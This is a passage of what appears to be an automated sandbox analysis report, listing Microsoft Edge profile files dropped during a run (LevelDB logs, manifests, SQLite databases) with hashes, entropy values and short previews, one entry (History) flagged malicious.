SHA-512:	2D3C4246C0EA2DB5E28786C8DEFB6A165AA01AA260AB7F2233BD6A251121A742D07CE2E8AE8DC44B9FB0574EB644D052755F6464ED2B192E01E5D2F868A10978
Malicious:	false
Preview:	.........................................^../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.246725438370288
Encrypted:	false
SSDEEP:	6:ixd61wkn23oH+TcwtnG2tbB2KLlgxXI+q2Pwkn23oH+TcwtnG2tMsIFUv:ixnfYebn9VFLaxXdvYfYebn9GFUv
MD5:	AEA2A4A2BC3310953BA6CEA4661E1A7C
SHA1:	E36CE6E1443143BD8138DE27A6D8D38454DFD12C
SHA-256:	4DA4BD2377EB416BEC165AF705EDEA2686C2FCF1AAA9B47A2CF51E9B9A5725CC
SHA-512:	9381608738E6717950FB7EBAD23B373CDC8B3BBEED0849BBFED105550BAFD27819AD43E25F6D9E3733CCF68D6203379BEDB2B69EDD68648F26B1F4ADD0B7AD8A
Malicious:	false
Preview:	2024/12/27-08:42:55.130 b78 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db since it was missing..2024/12/27-08:42:55.196 b78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 14, database pages 8, cookie 0xe, schema 4, UTF-8, version-valid-for 14
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.494709561094235
Encrypted:	false
SSDEEP:	24:TLEC30OIcqIn2o0FUFlA2cs0US5S693Xlej2:ThLaJUnAg0UB6I
MD5:	CF7760533536E2AF66EA68BC3561B74D
SHA1:	E991DE2EA8F42AE7E0A96A3B3B8AF87A689C8CCD
SHA-256:	E1F183FAE5652BA52F5363A7E28BF62B53E7781314C9AB76B5708AF9918BE066
SHA-512:	38B15FE7503F6DFF9D39BC74AA0150A7FF038029F973BE9A37456CDE6807BCBDEAB06E624331C8DFDABE95A5973B0EE26A391DB2587E614A37ADD50046470162
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...i............t...c................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5094712832659277
Encrypted:	false
SSDEEP:	12:TLW4QpRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7me5q4iZ7dV:TLqpR+DDNzWjJ0npnyXKUO8+j25XmL
MD5:	D4971855DD087E30FC14DF1535B556B9
SHA1:	9E00DEFC7E54C75163273184837B9D0263AA528C
SHA-256:	EC7414FF1DB052E8E0E359801F863969866F19228F3D5C64F632D991C923F0D2
SHA-512:	ACA411D7819B03EF9C9ACA292D91B1258238DF229B4E165A032DB645E66BFE1148FF3DCFDAC3126FCD34DBD0892F420148E280D9716C63AD9FCDD9E7CA58D71D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCTCTCT
MD5:	478D49D9CCB25AC14589F834EA70FB9E
SHA1:	5D30E87D66E279F8815AFFE4C691AAF1D577A21E
SHA-256:	BB6CC6DF54CF476D95409032C79E065F4E10D512E73F7E16018E550456F753D5
SHA-512:	FB5431054A23D3C532568B1F150873D9130DBC4A88BE19BC2A4907D0DC2888C5B55993154EAD4A6C466E2173092B8705684A6802B850F051639E1F2457387471
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	279
Entropy (8bit):	5.204419989567794
Encrypted:	false
SSDEEP:	6:ixd4D1wkn23oH+Tcwt8aVdg2KLlgxSFN+q2Pwkn23oH+Tcwt8aPrqIFUv:ixOyfYeb0Lax2N+vYfYebL3FUv
MD5:	4F817E546D3F7F82C8C4EC3CDEA2FFAA
SHA1:	1A735FE32E5D7002EACC278CCE3495AF4CCBFE16
SHA-256:	0BF6601D214697EEDF52BA405804ABF78D3B27199EBD884E711D736465A55272
SHA-512:	C4950CF7E24F90C80A06B9BFE1E9571F4326C97A68C76E39839C149E53E8D3FD30D87BF99FFDF6859E1A23B5574D9F3EC25D62B8EDEEE49013BB036E70EE9DC5
Malicious:	false
Preview:	2024/12/27-08:42:55.136 bbc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules since it was missing..2024/12/27-08:42:55.208 bbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCTCTCT
MD5:	478D49D9CCB25AC14589F834EA70FB9E
SHA1:	5D30E87D66E279F8815AFFE4C691AAF1D577A21E
SHA-256:	BB6CC6DF54CF476D95409032C79E065F4E10D512E73F7E16018E550456F753D5
SHA-512:	FB5431054A23D3C532568B1F150873D9130DBC4A88BE19BC2A4907D0DC2888C5B55993154EAD4A6C466E2173092B8705684A6802B850F051639E1F2457387471
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	283
Entropy (8bit):	5.1829840278215205
Encrypted:	false
SSDEEP:	6:ixTm81wkn23oH+Tcwt86FB2KLlgxqHyN+q2Pwkn23oH+Tcwt865IFUv:ixqbfYeb/FFLaxqSN+vYfYeb/WFUv
MD5:	A519AD6AEEFD06027959BD5C87B4852E
SHA1:	2665B753748156492EBCA6A4ED555F8DED00DA0A
SHA-256:	1CFD9A55E00800763C69240A5711CFFE5DC55B3920524EA2900EDD3C1DB14F24
SHA-512:	D30EE8FB2BE76A54AFAF86960197F613F6E4E458D302ABD74FDB863752942B40BF945604CA71E9E094CDEC95DCAD6E7A2DE0F5D462F48A64B6D51CCFAFC99CF1
Malicious:	false
Preview:	2024/12/27-08:42:55.210 bbc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts since it was missing..2024/12/27-08:42:55.236 bbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW:
MD5:	A2A3B1383E3AAC2430F44FC7BF3E447E
SHA1:	B807210A1205126A107A5FE25F070D2879407AA4
SHA-256:	90685D4E050DA5B6E6F7A42A1EE21264A68F1734FD3BD4A0E044BB53791020A2
SHA-512:	396FAB9625A2FF396222DBC86A0E2CDE724C83F3130EE099F2872AED2F2F2ECE13B0853D635F589B70BD1B5E586C05A3231D68CAF9E46B6E2DAC105A10D0A1C8
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.185558407421787
Encrypted:	false
SSDEEP:	6:ixjUdESVq2Pwkn23oH+Tcwt8NIFUt8dxjUdESgZmw+dxjUdESIkwOwkn23oH+TcN:ixjUiOvYfYebpFUt8dxjUiX/+dxjUiFS
MD5:	0C7C3A863711C8700683696D1A33B924
SHA1:	C25D64B1258A01BA3614C9D8B21F423304AFDA55
SHA-256:	BA7E9A844C870364C6A3E0786CEA2CD8F5979FFBA211BE48E2CCBBC58F8601E1
SHA-512:	4DD15F7D797CF6FBDAA416417B6741B9938CCF5E8D2B1F12D3C978A18146B0D48C57F8286B096CEAA28B336B42776E8C23A51F796E07738F4E5A8A273F7036B4
Malicious:	false
Preview:	2024/12/27-08:42:55.741 1854 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/27-08:42:55.741 1854 Recovering log #3.2024/12/27-08:42:55.741 1854 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.185558407421787
Encrypted:	false
SSDEEP:	6:ixjUdESVq2Pwkn23oH+Tcwt8NIFUt8dxjUdESgZmw+dxjUdESIkwOwkn23oH+TcN:ixjUiOvYfYebpFUt8dxjUiX/+dxjUiFS
MD5:	0C7C3A863711C8700683696D1A33B924
SHA1:	C25D64B1258A01BA3614C9D8B21F423304AFDA55
SHA-256:	BA7E9A844C870364C6A3E0786CEA2CD8F5979FFBA211BE48E2CCBBC58F8601E1
SHA-512:	4DD15F7D797CF6FBDAA416417B6741B9938CCF5E8D2B1F12D3C978A18146B0D48C57F8286B096CEAA28B336B42776E8C23A51F796E07738F4E5A8A273F7036B4
Malicious:	false
Preview:	2024/12/27-08:42:55.741 1854 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/27-08:42:55.741 1854 Recovering log #3.2024/12/27-08:42:55.741 1854 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityComp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 1, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.3169096321222068
Encrypted:	false
SSDEEP:	3:lSWbNFl/sl+ltl4ltllOl83/XWEEabIDWzdWuAzTgdWj3FtFIU:l9bNFlEs1ok8fDEPDadUTgd81Z
MD5:	2554AD7847B0D04963FDAE908DB81074
SHA1:	F84ABD8D05D7B0DFB693485614ECF5204989B74A
SHA-256:	F6EF01E679B9096A7D8A0BD8151422543B51E65142119A9F3271F25F966E6C42
SHA-512:	13009172518387D77A67BBF86719527077BE9534D90CB06E7F34E1CCE7C40B49A185D892EE859A8BAFB69D5EBB6D667831A0FAFBA28AC1F44570C8B68F8C90A4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityEdge

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 8, cookie 0x8, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.40981274649195937
Encrypted:	false
SSDEEP:	24:TL1WK3iOvwxwwweePKmJIOAdQBVA/kjo/TJZwJ9OV3WOT/5eQQ:Tmm+/9ZW943WOT/
MD5:	1A7F642FD4F71A656BE75B26B2D9ED79
SHA1:	51BBF587FB0CCC2D726DDB95C96757CC2854CFAD
SHA-256:	B96B6DDC10C29496069E16089DB0AB6911D7C13B82791868D583897C6D317977
SHA-512:	FD14EADCF5F7AB271BE6D8EF682977D1A0B5199A142E4AB353614F2F96AE9B49A6F35A19CC237489F297141994A4A16B580F88FAC44486FCB22C05B2F1C3F7D1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j............M.....8...b..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 39, 1st free page 10, free pages 4, cookie 0x45, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5241404324800358
Encrypted:	false
SSDEEP:	96:56U+bGzPDLjGQLBE3up+U0jBo4tgi3JMe9xJDECVjN:5R+GPXBBE3upb0HtTTDxVj
MD5:	241322143A01979D346689D9448AC8C0
SHA1:	DD95F97EE1CCB8FD9026D2156DE9CB8137B816D1
SHA-256:	65EEBDEC4F48A111AC596212A1D71C3A5CFA996797500E5344EEABDFA02527C8
SHA-512:	9C7241462A9DADEF25D8EEB1C14BABFBA65C451EBAFBC068B9856E4EF0EB6F894A44686CBB0D1F46C7F546335D0C53A3E386E6C1A017082DE127F8F9C0A54BD2
Malicious:	true
Preview:	SQLite format 3......@ .......'...........E......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.32872990409968056
Encrypted:	false
SSDEEP:	6:YiA/J3+t76Y4QZZofU99pO0BY4qR4EZY4QZvGq:IhHQws9LdSBQZGq
MD5:	7AC1CD5628D9E86973FAC92F62D6F044
SHA1:	6BB8B3733BF5FD345BD6720195087765D5A7CA01
SHA-256:	7D3C7CC43DF136614036D83CEF982F7B1B19F350C116170D91761E0EA402A7F8
SHA-512:	FF6CFEB74A622A008C02B2DF188A702C822083C299510B5C3ACEBF683D9862FAC95140C9359AEB080F4C0DFCC0AE0BCE71A75F864341AB2708B8B28D9CC069C6
Malicious:	false
Preview:	.............z....'....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.33890226319329847
Encrypted:	false
SSDEEP:	12:TLMfly7aoxrRGcAkSQdC6ae1//fxEjkE/RFL2iFV1eHFxOUwa5qgufTsZ75fOSI:TLYcjr0+Pdajk+FZH1W6UwccI5fBI
MD5:	971F4C153D386AC7ED39363C31E854FC
SHA1:	339841CA0088C9EABDE4AACC8567D2289CCB9544
SHA-256:	B6468DA6EC0EAE580B251692CFE24620D39412954421BBFDECB13EF21BE7BC88
SHA-512:	1A4DD0C2BE163AAB3B81D63DEB4A7DB6421612A6CF1A5685951F86B7D5A40B67FC6585B7E52AA0CC20FF47349F15DFF0C9038086E3A7C78AE0FFBEE6D8AA7F7E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	403
Entropy (8bit):	5.294302950904846
Encrypted:	false
SSDEEP:	12:ixw+vYfYeb8rcHEZrELFUt8dx7J/+dx79V5JfYeb8rcHEZrEZSJ:EZYfYeb8nZrExg8bmxJfYeb8nZrEZe
MD5:	B1D8DFEAB4EC608FDE03F40E5D50861A
SHA1:	FA3D0768DC95EBDA7B5B69038B89B506684356B0
SHA-256:	A95A307BDD937E21D7CC2F2853EAF6F05944A6987F3FF496D70E8F8E0003D197
SHA-512:	2D04C833EA0E8126D3FE49B48A456D114EDC61A7AA4E54975BCEF9EB706E66127ACE4B222EC9B951D7B32FD7F17C9192AD740771E5A1F8D80F07B215A6637C4A
Malicious:	false
Preview:	2024/12/27-08:42:57.148 81c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/27-08:42:57.149 81c Recovering log #3.2024/12/27-08:42:57.149 81c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	403
Entropy (8bit):	5.294302950904846
Encrypted:	false
SSDEEP:	12:ixw+vYfYeb8rcHEZrELFUt8dx7J/+dx79V5JfYeb8rcHEZrEZSJ:EZYfYeb8nZrExg8bmxJfYeb8nZrEZe
MD5:	B1D8DFEAB4EC608FDE03F40E5D50861A
SHA1:	FA3D0768DC95EBDA7B5B69038B89B506684356B0
SHA-256:	A95A307BDD937E21D7CC2F2853EAF6F05944A6987F3FF496D70E8F8E0003D197
